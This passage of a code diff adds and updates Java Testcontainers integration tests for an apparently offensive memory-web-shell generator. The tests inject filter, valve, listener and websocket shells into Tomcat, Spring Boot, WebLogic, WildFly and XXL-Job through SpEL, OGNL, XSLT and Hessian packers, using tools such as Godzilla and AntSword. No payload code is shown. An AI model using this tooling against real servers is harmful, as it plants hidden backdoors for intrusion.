||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/08/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class SpringBoot4ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||||
|
.jarFile(ContainerTool.springBoot4JarFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.SpringWebMvc)
|
||||||
|
.pidScript(ContainerTool.springbootPid)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.assertLogs(false)
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||||
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("springboot4")
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
// ShellType.LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.H2))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
static Stream<Arguments> tomcatCasesProvider() {
|
||||||
|
return generateTestCases(TOMCAT_CONFIG);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("tomcatCasesProvider")
|
||||||
|
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/08/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot4ExpressionContainerTest {
|
||||||
|
public static final String imageName = "springboot4";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk")
|
||||||
|
.withCopyFileToContainer(springBoot4JarFile, "/app/app.jar")
|
||||||
|
.withCommand("java -jar /app/app.jar")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
|
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
+58
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/8/30
|
||||||
|
*/
|
||||||
|
@Slf4j
|
||||||
|
@Testcontainers
|
||||||
|
public class Tomcat8XSLTContainerTest {
|
||||||
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.weblogic;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
@@ -21,6 +22,7 @@ public class WebLogic1036ContainerTest extends AbstractContainerTest {
|
|||||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
||||||
"reajason/weblogic:10.3.6",
|
"reajason/weblogic:10.3.6",
|
||||||
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
"/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
.targetJdkVersion(Opcodes.V1_6)
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
.assertLogs(false)
|
.assertLogs(false)
|
||||||
.supportedShellTypes(List.of(
|
.supportedShellTypes(List.of(
|
||||||
|
|||||||
+1
@@ -26,6 +26,7 @@ public class WebLogic12214ContainerTest extends AbstractContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
))
|
))
|
||||||
.testPackers(List.of(Packers.Base64))
|
.testPackers(List.of(Packers.Base64))
|
||||||
|
|||||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14110ContainerTest extends AbstractContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
))
|
))
|
||||||
.testPackers(List.of(Packers.Base64))
|
.testPackers(List.of(Packers.Base64))
|
||||||
|
|||||||
+1
@@ -26,6 +26,7 @@ public class WebLogic14120ContainerTest extends AbstractContainerTest {
|
|||||||
ShellType.SERVLET,
|
ShellType.SERVLET,
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
ShellType.LISTENER,
|
ShellType.LISTENER,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
))
|
))
|
||||||
.testPackers(List.of(Packers.Base64))
|
.testPackers(List.of(Packers.Base64))
|
||||||
|
|||||||
+56
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.weblogic;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/24
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class WebLogic15110ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.webLogic(
|
||||||
|
"reajason/weblogic:15.1.1.0-jdk21",
|
||||||
|
"/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.warFile(ContainerTool.warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
|
||||||
|
))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.testPackers(List.of(Packers.Base64))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+59
@@ -0,0 +1,59 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Wildfly38ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||||
|
"quay.io/wildfly/wildfly:38.0.1.Final-jdk21",
|
||||||
|
"/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
// Suo5 closes the exchange before WildFly 38's internal request listener is destroyed,
|
||||||
|
// causing a benign UT015005/UT000139 log after the functional assertion has passed.
|
||||||
|
.assertLogs(false)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+56
@@ -0,0 +1,56 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.wildfly;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Wildfly41ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
|
||||||
|
"quay.io/wildfly/wildfly:41.0.0.Final-jdk21",
|
||||||
|
"/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob202ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob202";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob212ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob212";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
